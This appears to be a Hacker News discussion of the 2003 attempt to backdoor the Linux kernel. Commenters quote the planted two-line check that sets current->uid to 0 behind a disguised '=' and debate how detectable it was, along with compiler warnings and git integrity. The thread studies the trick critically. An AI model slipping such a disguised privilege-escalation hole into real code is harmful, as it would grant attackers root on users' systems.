
The Linux Backdoor Attempt of 2003 - Tsiolkovsky
https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/
======
twoodfin
Ehh. I think this article overstates just how clever this backdoor is. With
the entire kernel source to play with, and the underlying assumption that the
CVS change would pass into BitKeeper without a thorough review, there had to
be much more subtle ways to insert a local privilege escalation.

Besides, it's not as if Linux local privilege escalations are incredibly rare,
and it would be surprising if anyone with enough money, time and expertise
couldn't uncover them at a rate sufficient to make this kind of skulduggery
unnecessary.

~~~
seliopou
What's clever about that code is that the conditional will always fail. The
assignment expression setting the uid to 0 will itself evaluate to 0, which
will cause the conjunction to evaluate to "false." On first glance, the code
makes you believe that the body of the conditional is necessary, when it's in
fact dead code. That's nice camouflage.

~~~
cjensen
I like the extra parens in the if condition. It's genius.

On the face of it, it appears that the parens are to ensure correct operator
precedence because a bitwise OR is used (a common idiom because bitwise
operators have the wrong precedence versus comparison in C).

But that's not what the parens are really for! They are there because gcc
complains about assignments inside of conditionals _unless_ you put parens
around it.

------
Stratoscope

      if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
            retval = -EINVAL;
    

> ...A casual reading by an expert would interpret this as innocuous error-
> checking code...

Wait... Wait... A casual reading by any expert should result in the question
"why is this code setting current->uid to 0?"

After all, in case said expert has forgotten the difference between = and ==,
this little bit of code all by itself has _two_ correct reminders about what
those operators actually do.

~~~
derleth
Even better: Emacs has cwarn-mode, which by default highlights = (assignment-
equal) in tests in BRIGHT RED. I'm sure Vim has something similar; maybe the
customized version of uEmacs/PK 4.0.15 Linus uses does not.

[http://www.emacswiki.org/emacs/CWarnMode](http://www.emacswiki.org/emacs/CWarnMode)

[http://en.wikipedia.org/wiki/MicroEMACS](http://en.wikipedia.org/wiki/MicroEMACS)

[http://web.archive.org/web/20061124122032/http://www.stifflo...](http://web.archive.org/web/20061124122032/http://www.stifflog.com/2006/10/16/stiff-
asks-great-programmers-answer/)

~~~
annnnd
Most IDEs do that today - but I wonder how many did that in 2003?

------
asveikau
The author is talking down and assumes too many people just learned C
yesterday. An assignment of a variable called uid to 0 inside of an error
check is waaaay too transparent. It's impressive that it made it into the cvs
server with no history but the actual weakness relies heavily on nobody ever
looking at the code. It would be spotted right away by anyone remotely
competent who glanced over it.

~~~
jefftk

        It would be spotted right away by anyone
        remotely competent who glanced over it.
    

I'm not so sure. I'm a professional programmer mostly working in C++, and I
didn't see the problem on first read-through. It took looking carefully before
I saw it, and if I hadn't already known that these two lines contained a
vulnerability I might not have noticed. I could see this being missed in a
code review.

~~~
asveikau
Going back to my earlier point, its success relies on people not seeing it. So
I would think its ability to pass a code review would ultimately depend on how
many other lines of code it has to hide amongst. If you are reviewing a huge
diff and this is hiding somewhere, then OK, maybe I buy it, but it's pretty
transparently wrong.

Another test it fails: even if it were == as they are trying to make people
think, why would this return EINVAL only if the user is root? There aren't a
lot of real world examples where you would want that. It pops out right away
as a bogus check that makes no sense, and surprise surprise, it also sets the
uid to 0, my guess is in a place where it makes no sense to even look at uid,
and very superficially hiding as a "rookie mistake"...

------
borplk
Quite disturbing to think about it. There are probably millions of lines of
code in the kernel, how confidently can you say that there's no other instance
of something like this slipping in? I mean it's just one damn '=' character.

~~~
bentcorner
The more I think about it, the more programming (and computers in general)
frustrate me. In the non-digital world, the general rule is small mistakes
lead to small consequences (for example, overcooking food will result in it
burning and getting worse over time).

~~~
lcedp
But not watching your cooking process can also result to blowing up whole
building due to gas explosion. More often it would be just bad meal, of
course. But more often small mistake in a program will just result to a
compile error or bad behavior.

------
Pxtl
I wonder how many millions of dollars of damage has been done by the bone-
headed equality/assignment syntax in C?

~~~
nilved
The problem is overstated, but using := (or ->, or whatever) for assignment
and = for comparison hasn't ever seemed like a bad idea.

------
lawnchair_larry
There was no shortage of non-proft, non-nation-state actors engaging in
backdooring open source and commercial codebases during this time. No reason
to believe this was related to the NSA.

~~~
luckydude
I agree, I've worked with the NSA (early 1990's when they still had some
ethics) and this hack doesn't feel like what they would do.

I'm not an NSA expert though, I declined to get clearance, so salt my opinion
a bit.

------
lcedp
Doesn't compiler complain about assignment in condition?

~~~
8_hours_ago
I don't see any warnings when compiling "if (1 && (i = 2)) {...}", but there
is an warning when compiling "if (i = 2) {...}". This is using gcc 4.7.2 with
-Wall.

~~~
acdha
Both gcc and clang appear to lack any way to generate a warning in the first
case. Something like splint ([http://www.splint.org](http://www.splint.org))
does, which is a good argument for including that into a C developer's
workflow.

~~~
twoodfin
clang and gcc don't warn on this because real large codebases have an
(unfortunate?) number of assignments inside boolean expressions. Most of them
are intentional and at least some significant fraction are correct.

Taking advantage of assignment-as-an-expression is idiomatic in a fair amount
of code I've seen, at least.

Stuff like:

    
    
        /* check_something returns non-zero on error */
        if (need_to_check && (status = check_something())) {
            handle_error(status);
        }
    

The clang and gcc folk tend to avoid adding default (or even -Weverything)
warnings that will trigger on entirely valid, at least marginally common code,
even if the style choice is problematic.

~~~
acdha
> clang and gcc don't warn on this because real large codebases have an
> (unfortunate?) number of assignments inside boolean expressions

Definitely. I personally find that style bad because it's concealed a far
number of bugs in the past (either things like the =/== confusion or simply
logic errors when the line became long enough that scanning it is non-trivial)
but the only way that could fly for a compiler would be as a flag or pragma
allowing you to opt-in for valid-but-discouraged style warnings and that's
served well enough by existing linters that standardization isn't worth the
cost of moving it into a compiler.

------
mp99e99
this is pretty interesting, thanks for posting.

~~~
robmcm1982
Are those options for wait2 in common use, causing auto-elevation for many
programs? It seems too easily accessed to be an NSA backdoor.

~~~
superuser2
We seem to have forgotten that the NSA is not the only or even necessarily the
most interesting entity looking to privilege-escalate and/or steal data.
Corporations and individuals are malicious also.

------
antocv
We still dont have a report on the kernel.org hack of 2011.

Many people say, calm down, its git they cant have inserted backdoors etc
without messing up the git history/changelog/hashes/whatever. But what if, git
was modified and backdoored previously to hide some objects/changes? How would
such an attack work? Lets say you discover a problem in git, which allows you
to omit changesets in its output. How would that work to backdoor the kernel?

~~~
phaemon
Older versions of git would tell you the hashes were wrong. Implementations of
git in other languages would tell you the hashes were wrong. Manually checking
would tell you the hashes were wrong. It's just not feasible.

EDIT: Plus, git is stored in git, so you'd need to backdoor git first... ;)

~~~
yuvadam
Bootstrap operation from hell [1]

[1] -
[https://github.com/git/git/commit/e83c5163316f89bfbde7d9ab23...](https://github.com/git/git/commit/e83c5163316f89bfbde7d9ab23ca2e25604af290)

~~~
ryanthejuggler
Thanks for the link... I've never read the README before, and it's very
entertaining. Now I'm going to have "goddamn idiotic truckload of sh*t"
echoing through my head all day

~~~
jzzskijj
I read, when the project was introduced, but forgotten it a long time ago.
Goddamn Idiotic Truckload of Sh*t Hub, Inc. would make a memorable name for an
incorporation.

